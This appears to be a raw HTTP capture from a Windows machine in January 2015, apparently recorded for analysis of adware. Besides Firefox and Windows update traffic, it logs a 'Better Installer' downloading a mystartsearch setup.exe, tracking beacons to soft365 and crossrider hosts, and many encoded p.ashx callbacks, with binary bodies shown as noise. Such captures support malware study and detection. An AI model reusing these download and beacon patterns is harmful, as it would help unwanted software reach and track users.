Expires: Tue, 3 Feb 2015 16:07:03 GMT

Date: Fri, 30 Jan 2015 01:31:42 GMT

Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0...............w/.|`....a...2015012
7160703Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
...%..{.cj..}#.......20150127160703Z....20150203160703Z0...*.H........
.....7..c.....2$....v..:..............~..........P./..T;.....V.`Q`y.j.
....qHe[...Lee...nTN_v.$_T..YA....g.r..i...(...J.] )..D......]9x..UB..
?u.cJ.f}.X$.S/53g]z....<7Y$.U....X.........V.c'.|*..H/..5.A........
}..nT.M...Z.D.P....."._{..n.....x..=x .u[.H;r4.A..C.:.....0...0...0..y
[email protected]...*.H........0J1.0...U....US1.0...U....Thawte
, Inc.1$0"..U....Thawte Code Signing CA - G20...141210000000Z..1503102
35959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Code Sig
ning CA - G2 OCSP Responder0.."0...*.H.............0..........P.....].
8?e...8.0.. ...-.uP.3....pQ......mi..wVt.......<....{d.?..9..z%.?..
}.N`.V.........I.X...E#...*.f...X.;...75......%...n.%..#..T.<.....f
EQ.\\.f.{M.H...M..u...9~..C....B.o..........dc...V..,.........{...j.9.
xw?D..ooNf&=......D|.R..../.....So....*-5.......d0b0...U....0.0...U.%.
.0... .......0...U........0... .....0......0"..U....0...0.1.0...U....T
GV-B-25170...*.H.....................2.).xO...].6..R.k...H =d...L...(o
0#.......<O#.;[email protected]...^.q.Y...}....S(syt&...$..L..7<...nb|...]
2c..q..Q.L.3,.............n>....tND..fJ.&. .....%7.....f.31.>..d
...ET.E.~.x...]N...*.......n......HI..*M..t.......:.=.:..(2M".S.....&.
...................
<<< skipped >>>


GET /pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar HTTP/1.1

Host: download.cdn.mozilla.net

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=900000-1199999

Connection: keep-alive




HTTP/1.1 206 Partial Content

Last-Modified: Wed, 26 Nov 2014 16:59:55 GMT

ETag: "4b1e700-2dc5623-508c5f506dac8"

Server: Apache

X-Backend-Server: ftp3.dmz.scl3.mozilla.com

Content-Type: application/octet-stream

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

X-Cache-Info: cached

Cache-Control: max-age=470309

Expires: Wed, 04 Feb 2015 12:06:50 GMT

Date: Fri, 30 Jan 2015 01:28:21 GMT

Content-Range: bytes 900000-1199999/47994403

Content-Length: 300000

Connection: keep-alive
d,.f.\s..H.vB9..b.I`.b..8%..g..m....x..*.....{....?..u;f....._nU._....
..y q....].~..N...=....c.:..wuz. g...O?....*-..U..,..]u.iE...9..s.gN..
5.A.v....;BK..H.....>.J..T.n.#. .......^:...9.giR..h.s..dX[:..D..3.
..I.`.5..pb.s.-..........P...M.3.,.Z.....t.&Z$nJ."o'.\..O.h.B,Y.......
W.........!<.eu.BWsJ.=...Z.l....~..l'...l..9l|....d.x....Fw.B.Gv8..
..2.XJ.Ed..r...V.J.%.$.~^..N..b.....!..w h-..3.......C[m......R.*/[email protected]
Jg..L.......t.#A....X......D.B.....w.d...$6....8.I....GP..e...o\.UJ.u.
.yX.I....c..<KG..T......L..mT..,7rA..g..".?....../.&...dI......&.. 
.k..p.....s..J\..J..p....!.1(...U...A=.......D.....{.H.....v..5!..w...
....&.s|......=...V...Ig..Dp..@k..*...o".......Q..r..l]u.u/...(.i.....
.(..j........1.g7..f._N..eVm..~...)%.hX0Zm............z.w...R.".^.hI.Q
..nZ@..|[email protected]..._.....(!$....gR..;O.$$#...w.{.k.hB.4.?.
....u.$...&}.......Od.. ....".......;[[email protected]$.n.[...B?n.....
.$.\%2........!S...l.(.k...:......c...h.f/...x..VZ..A..R*~....dHh.....
9...I.m [email protected]<...i.v./-.\-......d..~h..H. ..6.M
..0....Z.A.T....N..K @....j%....U:.^..z...~.I.....F"..J...`.......1F$.
..s.D......x$O6....;r.P./.es4.*......n.{g._.U..R?(......|.....B.......
m.N....p&.Z......*..ZQ..VR..[..8@".1xy.P..........z.n^.<....^...n3.
..1...'Ki../[email protected]..<.M$..2..|.v.n/6...V.
.......lE/......w8-........-R..\e...WA...756.H.]/d.....-......'.......
.. ..4J@.<.S.4....Fu6%...du.iP.....*>........%/..>#..}....._.
..c.b.f..!...D%L...../.......,...o&u...#..1...Ex.k.P.. .S.J/......
<<< skipped >>>


GET /utility.gif?report=fdata&f=3&c=820&i=10&n=ms_started&rnd=5091 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Fri, 30 Jan 2015 01:29:08 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close
GIF89a.............!.......,...........L..;..


GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f0037ca765f6f351 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT

If-None-Match: "0b2464b1797cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com




HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT

ETag: "0b2464b1797cf1:0"

Cache-Control: max-age=86400

Date: Fri, 30 Jan 2015 01:29:20 GMT

Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Fri, 30 Jan 2015 01:29:20 GMT..Conn
ection: keep-alive..


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=120612-

User-Agent: Better Installer(Mozilla)

Host: d2gv7sxh1xary4.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 201020

Connection: keep-alive

Date: Thu, 29 Jan 2015 10:04:18 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 120612-321631/321632

Age: 105

X-Cache: Hit from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OauMYbV15BFJJ4Q2cYmDL84bwj5IZi-nUSTrkx0h1MS8J6O9MZ53Xw==
....p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t....
........p...Q. .t.3.......t......r.....p...Q. .t.3.......t......S.....
p...Q. .t.3.......t....3.....0....P.;Q.tu.....Q. .t.3.......t.........
...p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q
. .t.3.......t....3...........I...@. ...8...3.......D...(....P.;Q.tu..
...Q. .t.3.......t......c.....p...Q. .t.3.......t......D.....p...Q. .t
.3.......t......%.....p...Q. .t.3.......t....3..........P.;Q.tu.....Q.
 .t.3.......t............p...Q. .t.3.......t............p...Q. .t.3...
....t............p...Q. .t.3.......t....3.....{....P.;Q.tu.....Q. .t.3
.......t......U.....p...Q. .t.3.......t......6.....p...Q. .t.3.......t
............p...Q. .t.3.......t....3..........P.;Q.tu.....Q. .t.3.....
..t............p...Q. .t.3.......t............p...Q. .t.3.......t.....
.......p...Q. .t.3.......t....3.....m....P.;Q.tu.....Q. .t.3.......t..
....G.....p...Q. .t.3.......t......(.....p...Q. .t.3.......t..........
..p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t......
......Q...p. .t.3.......t............Q...p. .t.3.......t............Q.
..p. .t.3.......t....3.....^....P.;Q.tu.....Q. .t.3.......t......8....
.p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q. 
.t.3.......t....3.........f.P.f;Q...f.....Q...p. .......3.......T.....
...........P.;Q.tv..Q...p. .t.3.......t......z.....p...Q. .t.3.......t
......[.....p...Q. .t.3.......t......<.....p...Q. .t.3.......t....3
..........P.;Q.tu.....Q. .t.3.......t............p...Q. .t.3......
<<< skipped >>>


GET /Fan/rebirth?uid=535559167_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: up.soft365.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:29:23 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

Content-Encoding: gzip
15............3..!.........0..HTTP/1.1 200 OK..Server: nginx..Date: Fr
i, 30 Jan 2015 01:29:23 GMT..Content-Type: text/html; charset=UTF-8..T
ransfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodi
ng..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..15............
3..!.........0..


GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ddxz5sd9q11xc.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Thu, 29 Jan 2015 05:17:57 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Thu, 29 Jan 2015 05:27:57 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 88

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: F_XcJgr-Nsw8F200keEQOm3mNaMT12ARnZi71ut1saizVCbqHo1Ttw==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7
<<< skipped >>>


GET /p.ashx?e=P5c0s7lb4RzSR sqobBJuaYM6J9TpnwQQF3UKsSdb2t7HO4WybUyR/m/2IS/cNj016DF6agZ2H3cL BpjzgQcHf1ws7XaD2yRYhZSGl8ahHJscN vLrCozg0PJKmtjhbnF8rmHTkMqFIOi3yA1xYQYghywxFINBPkQNNlxZxdK5J4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhgLIznAwqidPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wF_lpn8mGipzQP1NLeaAu9wpMs3h6wYJv6Iido784hbNB0P8EHrAGQ==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:28:09 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c41295fac39556a328869a62
bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: wF_lpn8mGipzQP1NLeaAu9wpM
s3h6wYJv6Iido784hbNB0P8EHrAGQ==......


GET /p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbJAkqBmtM5btymF904v4t2DqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaZcc7RKjUBXhxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98WjDAtvxZltJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPgkADCkh95qlw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:01 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _eEHZ3tc7RroO6cNRyiLl1hpO5SM8HNgPjCRU7ZseK-K0Tcx50oWQw==
....


GET /p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbLTuh9zxLe96tCUHeR8YCF3eUieKUOy0CNssIFedkeDcwU A6kiYcjN5jgwqhpV 3QaM eJWkTw6uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTxZUhvyOfrXdf8Hfeq1j1K3FZFcEueFWvAWf5kiMd Np7NekHhh5nI= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:01 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LkmFySZ4E0GOVdziRpXiTLa-5Huz-uHQhnDdbfu_aHLLtsDZflqHNA==
....


GET /p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbJaYa2XOOQuZBQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxYaxgIrAdBREYEeMvq2tZa6iosFMgdsNgU680KOoniLGmAUcQ /1Pg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: VJPfBIReD5__l5GITbfxVRLjk1TTLoN_xDoPilJLLKxV-ySJJRBslQ==
....


GET /p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbLF/nvWLek4mQTxIUcsgQ wziIw8Q49/dgttmOVSqw04CNiCF4FJfQXuVsw3gS4GmHhRrrlB59yRveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLDgXx6hK2 FRkosYzjDZZ7v/9tTpqzyWhA9z31I6v096InK1XpjK11o= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: k9KQKK7fkK-TYC6w3oUB3lEZM3hahyXQapX7bIqDrbk5XgxZ_64Nkg==
....


GET /p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbLvsEASNc/caY4G r 3F6T7M 2x4nq/V4db8yl/lmEDu8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffFowwLb8WZbSeBt3jxB9aapkCNzBoMgw6aVrgli9aT4JAAwpIfeapc= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -AXgIG3SnSHI3VCJcTUGsYU1KzZodOfBCuxCcMeb1KHKiYd6S1RDIw==
....


GET /p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbICMm3VbjJ5Co4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LElt_nbGbAPXAGWrhWIDyjlM75GSSgwVsnMzOwIirTPazjQtkw6cvA==
....


GET /p.ashx?e=QgW8pN5r26ZQhScA1jb3TyREuwbN91 W7OXLse4BafSoipMojeRGOY2 5cMBkwSYaPIfxYrGBkkg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb25k0 z8IQ1IIKPuMdH9xkPFYS5k6/5B5fD60PayiDCQx4u3oGHN86wMVvLxh6eIKnHvKbjUyzCCcFAL52sIXt4XyrUF6vpeaSkdoRAj2suRrqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1IxZwrgPFjw7IN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vZflhPGPBn Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7g0iOsHIClL7A_XHsQJvpf9RXdEmsVijzkk2rCpFEz3XRLfEQVxiKA==
....


GET /p.ashx?e=obiBp3WOda WjDTOqhvSES7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRoVNSQ3lQpjLdBPEhRyyBD7DFByCWgHBKYypAG YHgGRxeG5e2JE3Nzo2HdAkQAtbdCNCoXq3Dx83xXuPFOdxmQSrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUjFnCuA8WPDsg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb29l WE8Y8Gf5 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fGXcOsbKK2oFficUHI4zIjaIWl6Xrd7T3HqIs9xVOZeLVq9LuE9etw==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:28:02 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c41295fac39556a328869a62
bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: fGXcOsbKK2oFficUHI4zIjaIW
l6Xrd7T3HqIs9xVOZeLVq9LuE9etw==......


GET /p.ashx?e=XOxRKBm2zlwkTetWCphNvNJH6yqhsEm5xps2Fb43eqlAXdQqxJ1va0uGoedNVFAuIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk GRDvcFNNMq6pKb81Sa5kgtoqKD5 RG1kgWPHy8c1b6vM/D6GMrTkRzfV9OCtHXZfA3mXJEY39mHAhwsRGINrujU8aLWOIyJUH8YWruN4e6MO8O/q5Hem1bJiqDUFiGk4U0lC/Eq70qcbLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL4uL3nZNLGhPzkTt9Mah9wLlBkGfulxjlGyyBfgdC/MPGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSgoa/IHZvdr6OyELmY4nK6ipZmCuTjBqDplSPW87G2MuYYZa5L2VdsU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:05 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OdLcj7IzJujUVzPr1h0jzVn3gNlyVxUE-OLQb13DiwctGV2G69u-yg==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:28:05 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c41295fac39556a328869a62
bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: OdLcj7IzJujUVzPr1h0jzVn3g
NlyVxUE-OLQb13DiwctGV2G69u-yg==..


GET /21714.ashx?e=kUynm8L6UyvSR sqobBJuRhBZuOYR 9mQF3UKsSdb2t7HO4WybUyRxjtTCDxth49N  X1/ea0HoOzFxDz6oj2mAqR2XPWVGh jCDsw4o/xYUAvnawhe3hfp45jy0xQSUx2dEgSay2qahLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:27:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Cz8VbO0HOxygu8qUpWlB1geloUmYZhhw4VzQ8okh__KFXY9PNO9Fng==
....


GET /21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VhbLQkgupc9u/QElqGjn9p9CUHeR8YCF3sp NWI2cIlsE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuwY2gVbwUtO/dLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKObSJGWd2CgPQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

